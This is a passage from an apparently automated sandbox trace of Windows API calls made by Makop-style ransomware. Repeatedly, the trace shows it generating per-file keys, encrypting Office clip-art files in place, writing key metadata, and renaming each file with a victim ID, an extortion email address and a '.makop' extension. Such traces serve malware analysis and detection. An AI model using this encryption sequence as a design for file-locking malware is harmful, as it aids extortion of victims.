phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.262] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.262] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.262] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2168, lpOverlapped=0x0) returned 1 [0113.264] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2170, dwBufLen=0x2170 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2170) returned 1 [0113.264] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.264] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2170, lpOverlapped=0x0) returned 1 [0113.264] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.264] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.264] SetEndOfFile (hFile=0xf0) returned 1 [0113.271] GetProcessHeap () returned 0x48a0000 [0113.271] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.271] GetProcessHeap () returned 0x48a0000 [0113.271] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.271] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.272] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.277] CloseHandle (hObject=0xf0) returned 1 [0113.277] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0113.278] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0113.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.278] GetProcessHeap () returned 0x48a0000 [0113.278] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.278] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.279] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.283] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.283] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.283] GetProcessHeap () returned 0x48a0000 [0113.283] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.283] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.283] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.283] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.283] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.283] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.283] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.284] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.284] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.284] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.284] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.284] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.284] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x20e8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x20e8, lpOverlapped=0x0) returned 1 [0113.286] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20f0) returned 1 [0113.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.286] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x20f0, lpOverlapped=0x0) returned 1 [0113.286] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.286] SetEndOfFile (hFile=0xf0) returned 1 [0113.292] GetProcessHeap () returned 0x48a0000 [0113.292] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.292] GetProcessHeap () returned 0x48a0000 [0113.292] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.293] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.294] CloseHandle (hObject=0xf0) returned 1 [0113.294] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0113.294] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0113.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.295] GetProcessHeap () returned 0x48a0000 [0113.295] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.295] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.295] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.295] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.295] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.295] GetProcessHeap () returned 0x48a0000 [0113.295] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.295] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.295] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.295] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.300] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.300] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.300] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.301] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.301] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.301] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.301] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a40, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a40, lpOverlapped=0x0) returned 1 [0113.302] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a40, dwBufLen=0x2a40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a40) returned 1 [0113.303] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.303] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a40, lpOverlapped=0x0) returned 1 [0113.303] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.303] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.303] SetEndOfFile (hFile=0xf0) returned 1 [0113.309] GetProcessHeap () returned 0x48a0000 [0113.309] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.310] GetProcessHeap () returned 0x48a0000 [0113.310] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.310] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.311] CloseHandle (hObject=0xf0) returned 1 [0113.311] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0113.314] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0113.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.314] GetProcessHeap () returned 0x48a0000 [0113.314] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.315] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.315] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.315] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0113.319] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.319] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.319] GetProcessHeap () returned 0x48a0000 [0113.319] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.320] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.320] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.320] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.320] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.320] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.320] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.320] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.320] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.321] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.321] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.321] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ec6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ec6, lpOverlapped=0x0) returned 1 [0113.322] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ed0, dwBufLen=0x1ed0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ed0) returned 1 [0113.322] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.322] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ed0, lpOverlapped=0x0) returned 1 [0113.323] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.323] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.323] SetEndOfFile (hFile=0xf0) returned 1 [0113.329] GetProcessHeap () returned 0x48a0000 [0113.329] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.329] GetProcessHeap () returned 0x48a0000 [0113.329] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.329] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.331] CloseHandle (hObject=0xf0) returned 1 [0113.332] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0113.332] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0113.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.334] GetProcessHeap () returned 0x48a0000 [0113.334] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.334] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.334] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.334] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0113.338] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.338] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.338] GetProcessHeap () returned 0x48a0000 [0113.338] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.338] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.338] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.338] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.339] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.339] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.339] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 